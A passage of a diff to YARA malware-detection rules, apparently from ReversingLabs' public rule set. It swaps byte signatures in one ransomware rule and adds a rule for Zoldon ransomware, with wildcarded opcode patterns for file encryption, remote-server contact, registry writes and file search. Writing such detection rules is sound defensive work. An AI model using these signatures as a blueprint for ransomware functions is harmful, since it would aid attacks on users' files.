-            ?? ?? ?? EB ?? 48 8D BC 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 85 C0
-            74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 63 6C 24 ?? 45 89 E7 44 89 64 24 ?? 4C 0F AF
-            6C 24 ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 8B 4C 24 ?? 41 B8
-            ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 84
+		$encrypt_files = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A
+            ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? 8B 4D ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 83 C8 ?? E9
+            ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ??
+            ?? ?? ?? ?? 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83
+            BD ?? ?? ?? ?? ?? 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ??
+            ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 8D ?? ??
+            ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75
+            ?? 83 C8 ?? E9 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ??
+            ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 D0 85 D2 75 ?? 83 7D ?? ?? 74 ?? 6A
+            ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ??
+            68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ??
+            75 ?? 83 C8 ?? EB ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ??
+            ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8B 4D ??
+            33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$encrypt_files_p2 = {
-            C0 75 ?? 48 8B 54 24 ?? 48 8B 7C 24 ?? 48 89 E9 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7
-            15 ?? ?? ?? ?? 48 39 D0 75 ?? 48 8B 44 24 ?? 48 89 E9 BE ?? ?? ?? ?? 0F B7 50 ?? 48
-            8B 38 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 0F B7 51 ?? 48 39 D0 74 ?? BF ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 4C 03 7C 24 ?? 44 3B 6C 24 ?? 0F 8C ?? ?? ?? ?? E9
-            ?? ?? ?? ?? BF ?? ?? ?? ?? EB ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 80 7C
-            24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? 80 7C 24 ?? ?? 74 ?? 8B 44 24 ?? 4C 89 EE FF C0
-            3B 44 24 ?? 75 ?? 49 8D B6 ?? ?? ?? ?? EB ?? 31 F6 31 D2 48 89 EF E8 ?? ?? ?? ?? 48
-            63 44 24 ?? 48 8B 5C 24 ?? 48 8D B4 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 31 C9 31
-            D2 45 89 E1 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 01 C3 48 8D 84 24 ??
-            ?? ?? ?? 49 89 D8 48 89 1C 24 48 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            48 89 E9 4C 89 E2 BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 39 E0 0F 85 ?? ?? ?? ??
-            FF 44 24 ?? 8B 54 24 ?? 8B 4C 24 ?? 01 54 24 ?? 39 4C 24 ?? 75 ?? 31 F6 BA ?? ?? ??
-            ?? 48 89 EF E8 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 E9 BA ?? ?? ?? ?? BE ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8A 5C 24 ?? 48 83 F8 ?? B0 ?? 0F 44 D8 44 3B 7C 24 ?? 88 5C 24
-            ?? 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 44 03 7C 24 ?? 4C 03 6C 24 ?? 8B 44 24 ?? 39
-            44 24 ?? 0F 8C ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 0F B6 44 24 ?? 48 81 C4 ?? ?? ??
-            ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3
+		$remote_server = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ??
+            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 68 ?? ?? ??
+            ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? 6A
+            ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D
+            ?? ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45
+            ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75
+            ?? 83 C8 ?? E9 ?? ?? ?? ?? 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83
+            7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 83 C2 ?? 52 6A ?? 8B 45
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 FF 15
+            ?? ?? ?? ?? 85 C0 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B
+            55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 3B 45 ?? 73 ?? 8B 4D ?? 03 4D ?? 0F BE 11 83 FA ??
+            74 ?? 8B 45 ?? 03 45 ?? 0F BE 08 83 F9 ?? 74 ?? 8B 55 ?? 03 55 ?? 8B 45 ?? 03 45 ??
+            8A 08 88 0A EB ?? 8B 55 ?? 03 55 ?? C6 02 ?? EB ?? EB ?? EB ?? 83 7D ?? ?? 0F 87 ??
+            ?? ?? ?? 83 7D ?? ?? 75 ?? 83 C8 ?? EB ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 FF 15 ?? ??
+            ?? ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52
+            FF 15 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$find_files_p1 = {
-            41 57 FC 41 56 41 55 41 54 49 89 FC 55 53 48 83 EC ?? 48 8B 84 24 ?? ?? ?? ?? 48 89
-            4C 24 ?? 48 83 C9 ?? 48 89 74 24 ?? 4C 89 44 24 ?? 4C 89 4C 24 ?? 88 54 24 ?? 48 89
-            44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 44 8A BC 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 84 24
-            ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 31 C0 F2 AE 4C 89
-            E7 48 F7 D1 4C 8D 71 ?? E8 ?? ?? ?? ?? 48 85 C0 48 89 44 24 ?? 0F 85 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 38 E8 ?? ?? ?? ?? 48 83 C4 ?? 4C 89 E6 48 89 C2 5B 5D 41 5C 41 5D 41
-            5E 41 5F BF ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? 45 84 FF 48 8D 6B ?? 74 ?? 0F B6 4B ??
-            48 89 EA 4C 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 80 7B ?? ?? 0F 85 ?? ?? ?? ??
-            80 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84
-            ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BE ?? ??
-            ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FC 31 C0 48 83 C9 ?? 48 89 EF
-            F2 AE 4C 89 F0 48 29 C8 48 3B 44 24 ?? 76 ?? 48 8B 3D ?? ?? ?? ?? 48 89 E9 4C 89 E2
-            BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4B 8D 1C 34 48 89 EE 48 8D 7B ??
-            C6 03 ?? E8 ?? ?? ?? ?? 41 0F B6 C7 4C 8B 4C 24 ?? 4C 8B 44 24 ?? 89 44 24 ?? 48 8B
-            44 24 ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 74 24 ?? 4C 89 E7 48 89 44 24 ?? 48 8B
+		$remote_server_2 = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 83 C4 ?? 89 45 ?? A1 ?? ?? ?? ?? 50 8B 0D ?? ?? ?? ?? 51 8B 15 ?? ?? ?? ?? 52
+            A1 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 8B 0D ?? ?? ?? ?? 51 68
+            ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ??
+            52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ??
+            ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 68
+            ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
+            ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ??
+            6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 55 ??
+            52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D
+            45 ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 8B 55 ?? 83
+            C2 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? 33
+            C0 E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 50 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33
+            C0 EB ?? EB ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 8B 4D ??
+            51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? B8 ?? ?? ?? ?? EB ?? 83 7D ?? ?? 0F 87 ??
+            ?? ?? ?? 83 7D ?? ?? 75 ?? 83 C8 ?? EB ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 FF 15 ?? ??
+            ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 51
+            FF 15 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$find_files_p2 = {
-            44 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 89 04 24 E8
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? 45 84 FF 0F 85 ?? ?? ?? ?? FC 48 83 C9 ?? 48 89 EF 44 88
-            F8 F2 AE 48 8B 54 24 ?? 48 89 EF 48 89 CB 48 8B 4C 24 ?? 48 F7 D3 48 89 DE 4C 8D 6B
-            ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 48 89 EA 4C 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ??
-            E9 ?? ?? ?? ?? 4C 89 EA BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
-            ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 4B 8D 1C 34 48 89 EA 4C
-            89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 8D 7B ?? 48 89 EE C6 03 ?? E8 ?? ?? ??
-            ?? 0F B7 0D ?? ?? ?? ?? 4C 89 E7 4C 8B 44 24 ?? 48 8B 54 24 ?? 48 8B 74 24 ?? FF 15
-            ?? ?? ?? ?? 84 C0 BF ?? ?? ?? ?? 74 ?? 48 8B 7C 24 ?? B9 ?? ?? ?? ?? 4C 89 E2 BE ??
-            ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 8B 74 24 ?? 4C 89 E7 E8 ?? ?? ?? ?? 85 C0 74 ?? BF
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 41 8D 56 ??
-            4C 89 E6 E8 ?? ?? ?? ?? C6 03 ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 85 C0 48 89 C3 0F
-            85 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E 41 5F E9
+
+	condition:
+		uint16(0)==0x5A4D and $encrypt_files and $remote_server and $remote_server_2
+}
+rule REVERSINGLABS_Win32_Ransomware_Zoldon : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Zoldon ransomware."
+		author = "ReversingLabs"
+		id = "5d28e6f0-9d6b-54f4-81ed-aadb58352c80"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Zoldon.yara#L1-L107"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "4821b8506e7ba00987978f2744da1c532e03d73f3275cb15e39cdf87f6018223"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Zoldon"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$main_encrypt_function_p1 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ??
+            ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 55 ?? 89 45 ??
+            8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30
+            64 89 20 E8 ?? ?? ?? ?? DD 5D ?? 9B 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? FF 75 ?? FF
+            75 ?? 8D 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? B2 ??
+            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B1 ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ??
+            3C ?? 0F 85 ?? ?? ?? ?? B0 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ??
+            84 C0 0F 85 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? C6
+            80 ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 66 C7 45
         }
-		$setup_environment = {
-            55 48 89 E5 41 56 49 89 F6 BE ?? ?? ?? ?? 41 55 41 54 53 48 89 FB 48 83 EC ?? E8 ??
-            ?? ?? ?? 48 85 C0 49 89 C4 75 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 7D ?? E8 ?? ??
-            ?? ?? 84 C0 BF ?? ?? ?? ?? 74 ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 85 C0 49
-            89 C4 74 ?? 0F B7 55 ?? 48 8B 7D ?? 48 89 C1 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 55
-            ?? 48 8B 7D ?? 4C 89 E1 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 55 ?? 31 C9 39 C2 0F 85
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BF ?? ?? ??
-            ?? 49 89 E5 E8 ?? ?? ?? ?? 66 8B 3D ?? ?? 22 00 66 03 3D ?? ?? 22 00 66 8B 05 ?? ??
-            22 00 66 89 7D ?? 0F B7 FF 66 89 45 ?? E8 ?? ?? ?? ?? 0F B7 7D ?? 48 89 45 ?? E8 ??
-            ?? ?? ?? 0F B7 55 ?? 48 8B 7D ?? 4C 89 E1 BE ?? ?? ?? ?? 48 89 45 ?? E8 ?? ?? ?? ??
-            0F B7 55 ?? 48 8B 7D ?? 4C 89 E1 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 75 ?? BF ?? ??
-            ?? ?? 31 C0 E8 ?? ?? ?? ?? 0F B7 45 ?? 0F B7 35 ?? ?? ?? ?? 31 C9 48 8B 7D ?? 48 83
-            C0 ?? 25 ?? ?? ?? ?? 48 29 C4 48 8D 5C 24 ?? 48 83 E3 ?? 48 89 DA E8 ?? ?? ?? ?? 48
-            89 DE BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 0F B7 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 48 03
-            7D ?? E8 ?? ?? ?? ?? 66 39 05 ?? ?? 22 00 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89
-            EC 31 C9 EB ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8D 75 ?? B9 ?? ?? ?? ?? 4C 89 F7 FC F3 A5
-            B1 ?? EB ?? 4C 89 EC EB ?? 48 8D 65 ?? 89 C8 5B 41 5C 41 5D 41 5E C9 C3
+		$main_encrypt_function_p2 = {
+            8D 85 ?? ?? ?? ?? 66 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? B9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 66 83 7D
+            ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 66 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 66 FF 45 ?? 66 83 7D
+            ?? ?? 75 ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ??
+            8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 95 ?? ?? ?? ?? 33 C9 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59
+            59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ??
+            E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
         }
-		$make_configuration = {
-            41 56 BE ?? ?? ?? ?? 49 89 FE BF ?? ?? ?? ?? 41 55 41 54 55 53 48 83 EC ?? E8 ?? ??
-            ?? ?? 84 C0 88 C3 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 FF EB ?? BF ?? ?? ?? ?? E8
-            ?? ?? ?? ?? BA ?? ?? ?? ?? 0F B7 F0 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8
-            ?? ?? ?? ?? B9 ?? ?? ?? ?? 49 89 C4 48 89 C2 BE ?? ?? ?? ?? BF ?? ?? ?? ?? 66 C7 00
-            ?? ?? C6 40 ?? ?? E8 ?? ?? ?? ?? 4C 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89
-            E6 4C 89 E7 E8 ?? ?? ?? ?? 84 C0 75 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ??
-            E8 ?? ?? ?? ?? FC 88 D8 BF ?? ?? ?? ?? 48 83 C9 ?? F2 AE 48 F7 D1 48 FF C9 8D 59 ??
-            83 C1 ?? 48 63 F9 E8 ?? ?? ?? ?? 48 85 C0 48 89 C5 0F 84 ?? ?? ?? ?? 48 8D 78 ?? 48
-            63 D3 BE ?? ?? ?? ?? C6 00 ?? E8 ?? ?? ?? ?? 48 89 EF BE ?? ?? ?? ?? E8 ?? ?? ?? ??
-            48 85 C0 48 89 C3 BF ?? ?? ?? ?? 74 ?? 0F B7 54 24 ?? 48 8B 7C 24 ?? 48 89 C1 BE ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? BF ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 F7 48 89 E6 B9 ?? ?? ?? ?? FC F3 A5
-            48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E C3 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
+		$write_zoldon_regkey = {
+            55 8B EC 83 C4 ?? 53 56 33 DB 89 5D ?? 88 4D ?? 8B DA 8B F0 33 C0 55 68 ?? ?? ?? ??
+            64 FF 30 64 89 20 8D 45 ?? 8B D3 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D8 84 DB
+            75 ?? 8D 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 89 45 ?? 80 7D ??
+            ?? 74 ?? 83 7D ?? ?? 75 ?? 8D 45 ?? 50 8B 46 ?? 50 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50
+            8B D3 8B C6 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D0 8B C6 E8 ?? ?? ?? ?? 88 45 ?? EB
+            ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 8B 46 ?? 50 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 50 8B D3 8B C6 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D0 8B C6 E8 ?? ?? ?? ?? 88 45
+            ?? 80 7D ?? ?? 74 ?? 83 7E ?? ?? 0F 95 C0 84 D8 74 ?? FF 76 ?? 68 ?? ?? ?? ?? FF 75
+            ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 33
+            C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
+        }
+		$find_files_p1 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ??
+            ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 55 ??
+            89 45 ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ??
+            64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33
+            C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45
